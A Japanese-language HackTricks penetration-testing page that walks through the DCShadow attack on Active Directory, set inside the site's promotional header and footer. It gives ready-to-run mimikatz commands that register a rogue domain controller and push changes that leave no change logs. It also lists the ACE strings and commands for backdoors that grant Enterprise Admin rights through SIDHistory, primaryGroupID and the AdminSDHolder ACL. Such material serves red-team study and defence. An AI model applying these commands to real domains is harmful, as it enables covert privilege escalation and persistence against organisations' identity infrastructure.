7.9 KiB
AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告したい、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください。
- 公式PEASS & HackTricksグッズを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションをチェックする
- 💬 Discordグループに参加するか、テレグラムグループに参加するか、Twitter 🐦 @carlospolopmでフォローしてください。
- HackTricksのGitHubリポジトリとHackTricks CloudにPRを提出して、あなたのハッキングテクニックを共有してください。
DCShadow
新しいドメインコントローラーをADに登録し、指定されたオブジェクトに対して(SIDHistory、SPNsなどの) 属性をプッシュします。これは、変更に関するログを残さずに行います。DA権限が必要で、ルートドメイン内にいる必要があります。
誤ったデータを使用すると、非常に醜いログが表示されることに注意してください。
攻撃を実行するには、2つのmimikatzインスタンスが必要です。1つはSYSTEM権限でRPCサーバーを開始するもの(ここで実行したい変更を指示する必要があります)、もう1つは値をプッシュするために使用されます:
{% code title="mimikatz1 (RPCサーバー)" %}
!+
!processtoken
lsadump::dcshadow /object:username /attribute:Description /value="My new description"
{% endcode %}
{% code title="mimikatz2(プッシュ)- DAまたは同様の権限が必要" %}
lsadump::dcshadow /push
{% endcode %}
elevate::token
は mimikatz1 セッションでは機能しません。これはスレッドの権限を昇格させるものですが、プロセスの権限を昇格させる必要があります。
また、"LDAP" オブジェクトを選択することもできます: /object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local
以下の最小限の権限を持つユーザーまたはDAから変更をプッシュできます:
- ドメインオブジェクトにおいて:
- DS-Install-Replica (ドメイン内でのレプリカの追加/削除)
- DS-Replication-Manage-Topology (レプリケーショントポロジーの管理)
- DS-Replication-Synchronize (レプリケーション同期)
- Configuration コンテナ内のSites オブジェクト(およびその子オブジェクト):
- CreateChild および DeleteChild
- DCとして登録されているコンピュータのオブジェクト:
- WriteProperty (Writeではない)
- ターゲットオブジェクト:
- WriteProperty (Writeではない)
権限のないユーザーにこれらの権限を与えるために Set-DCShadowPermissions を使用できます(これはいくつかのログを残すことに注意してください)。これはDA権限を持つよりもはるかに制限的です。
例えば: Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose
これは、ユーザー名 student1 がマシン mcorp-student1 にログオンしているときに、オブジェクト root1user に対するDCShadow権限を持つことを意味します。
DCShadowを使用してバックドアを作成する
{% code title="ユーザーのSIDHistoryにEnterprise Adminsを設定" %}
lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519
{% endcode %}
{% code title="PrimaryGroupIDの変更(ユーザーをドメイン管理者のメンバーにする)" %}
lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519
{% endcode %}
{% code title="AdminSDHolderのntSecurityDescriptorを変更(ユーザーに完全なコントロールを与える)" %}
#First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl
#Second, add to the ACE permissions to your user and push it using DCShadow
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL>
{% endcode %}
Shadowception - DCShadowを使用してDCShadowの権限を付与する(変更された権限のログなし)
次のACEをユーザーのSIDを末尾に追加する必要があります:
- ドメインオブジェクトに:
(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)
(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)
(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)
- 攻撃者のコンピュータオブジェクトに:
(A;;WP;;;UserSID)
- ターゲットユーザーオブジェクトに:
(A;;WP;;;UserSID)
- Configurationコンテナ内のSitesオブジェクトに:
(A;CI;CCDC;;;UserSID)
オブジェクトの現在のACEを取得するには:(New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=loca l")).psbase.ObjectSecurity.sddl
この場合、複数の変更を行う必要があることに注意してください。したがって、mimikatz1セッション(RPCサーバー)では、変更を行いたい各パラメータに**/stack
** を使用します。これにより、ローグサーバーで積み重ねられた変更を一度に**/push
** するだけで済みます。
AWSハッキングをゼロからヒーローまで学ぶには htARTE(HackTricks AWS Red Team Expert)をご覧ください!
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告したい、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式のPEASS & HackTricksグッズを手に入れましょう。
- The PEASS Familyを発見し、独占的なNFTコレクションをチェックしてください。
- 💬 Discordグループに参加するか、テレグラムグループに参加するか、Twitter 🐦 @carlospolopmでフォローしてください。
- HackTricksのGitHubリポジトリHackTricksとHackTricks CloudにPRを提出して、あなたのハッキングのコツを共有してください。